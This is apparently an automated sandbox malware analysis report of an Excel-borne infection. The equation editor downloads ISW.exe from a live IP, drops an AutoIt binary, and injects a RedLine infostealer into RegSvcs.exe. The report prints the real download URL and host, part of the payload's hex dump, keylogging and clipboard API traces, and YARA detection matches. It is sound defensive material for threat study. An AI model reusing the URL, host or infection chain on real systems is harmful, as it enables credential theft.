HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Thu, 02 May 2024 19:48:58 GMTAccept-Ranges: bytesETag: W/"57b5b9c5c99cda1:0"Server: Microsoft-IIS/8.5Date: Thu, 02 May 2024 15:39:45 GMTContent-Length: 1219072Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7d 61 33 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 ea 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 12 00 00 04 00 00 d4 4e 13 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 fc 2e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 12 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 fc 2e 05 00 00 40 0d 00 00 30 05 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 70 12 00 00 76 00 00 00 24 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /ISW.exe HTTP/1.1Connection: Keep-AliveHost: 23.94.54.101

Source: Joe Sandbox View

IP Address: 104.26.12.205 104.26.12.205

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View

JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.54.101

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EBCE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

3_2_00EBCE44

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ISW.exe HTTP/1.1Connection: Keep-AliveHost: 23.94.54.101

Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: EQNEDT32.EXE, 00000002.00000002.444421814.000000000065F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.444421814.0000000000690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://23.94.54.101/ISW.exe
Source: RegSvcs.exe, 00000004.00000002.608494898.0000000002556000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: RegSvcs.exe, 00000004.00000002.608494898.0000000002441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608494898.0000000002538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: RegSvcs.exe, 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: RegSvcs.exe, 00000004.00000002.608494898.0000000002538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipif8z
Source: RegSvcs.exe, 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608494898.0000000002441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608494898.0000000002538000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608494898.00000000024FC000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 00000004.00000002.608494898.0000000002538000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608397603.00000000005B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: RegSvcs.exe, 00000004.00000002.608494898.0000000002538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/T
Source: RegSvcs.exe, 00000004.00000002.608494898.0000000002441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608494898.0000000002538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49162

Source: unknown

HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.22:49162 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, abAX9N.cs

.Net Code: _7wfqbBU

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EBEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

3_2_00EBEAFF

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EBED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

3_2_00EBED6A

Source: C:\Users\user\AppData\Roaming\CKK.exe

3_2_00EBEAFF

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EAAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

3_2_00EAAA57

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00ED9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

3_2_00ED9576

System Summary

Malicious sample detected (through community Yara rule)

Source: sheet1.xml, type: SAMPLE	Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 4.2.RegSvcs.exe.450ee8.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.450000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.450000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 4.2.RegSvcs.exe.a6ff36.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.CKK.exe.140000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 4.2.RegSvcs.exe.a6f04e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.3446458.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.4c0000.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.3497170.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.a6f04e.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.450ee8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.3497170.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.3446458.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.RegSvcs.exe.a6ff36.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000004.00000002.608358959.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000003.00000002.447488825.0000000000140000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: CKK.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: CKK.exe, 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_f4a7f36d-1
Source: CKK.exe, 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_d9a6df5a-0
Source: CKK.exe.2.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_9ae924c8-b
Source: CKK.exe.2.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_cbbf9510-c

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\user\AppData\Roaming\CKK.exe

Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EAD5EB: CreateFileW,DeviceIoControl,CloseHandle,

3_2_00EAD5EB

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EA1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

3_2_00EA1201

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EAE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

3_2_00EAE8F6

Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E48060	3_2_00E48060
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB2046	3_2_00EB2046
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EA8298	3_2_00EA8298
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E7E4FF	3_2_00E7E4FF
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E7676B	3_2_00E7676B
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00ED4873	3_2_00ED4873
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E4CAF0	3_2_00E4CAF0
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E6CAA0	3_2_00E6CAA0
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E5CC39	3_2_00E5CC39
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E76DD9	3_2_00E76DD9
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E5D071	3_2_00E5D071
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E491C0	3_2_00E491C0
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E5B119	3_2_00E5B119
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E61394	3_2_00E61394
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E61706	3_2_00E61706
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E6781B	3_2_00E6781B
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E619B0	3_2_00E619B0
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E5997D	3_2_00E5997D
